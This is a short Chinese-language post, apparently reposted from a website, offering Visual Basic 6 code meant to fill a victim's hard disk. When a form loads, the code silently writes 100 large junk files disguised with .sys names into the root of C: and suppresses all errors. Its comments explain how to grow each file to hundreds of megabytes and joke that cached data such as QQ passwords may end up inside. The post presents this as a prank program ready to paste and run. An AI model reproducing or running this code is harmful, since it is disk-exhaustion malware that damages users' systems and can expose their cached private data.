真正用VB產生隨機任意大小文件擠滿硬盤

Private Sub Form_Load()

On Error Resume Next

For h = 1 To 100 　　注釋：(這個100為寫入文件的個數，就是向C盤下寫100個文件)

　　 Open "c:\小黑俠" + CStr(h) + ".sys" For Random As 1
　　注釋：(在C盤下產生文件 類似 "小黑俠x.sys" x為數字)
DoEvents

Put #1, 30000, "小黑俠"

　　 注釋：這里的這個30000是控制生成文件大小的。
　　 注釋：30000產生的文件大小是3.6M左右
　　 注釋：10000產生的文件大小是1.2M左右
　　 注釋：如果你改為3000000的話，那就是360M，不要太壞哦！
　　 注釋：如果你想知道那么大的文件里面是什么，那就就用寫字板打開看就是了，可能里面還有你的QQ密碼也說不定。因為這些內容都是在你的緩存文件里隨機產生的。不過你會在文件的最后一行看到有一個神秘的字符，那就是“小黑俠”字樣。呵呵，我跑到你電腦里去玩了。

Close #1 　　注釋：關閉打開的文件句柄
Next
End Sub

以是程序可以直接粘帖到VB工程文件中去即可執行。
代碼很簡單，相信聰明的你一定看得懂。


在下小黑俠是也，歡迎各位來信交流
email:wl3000wl@163.com
Oicq:46393567

原文轉自：http://www.kjueaiud.com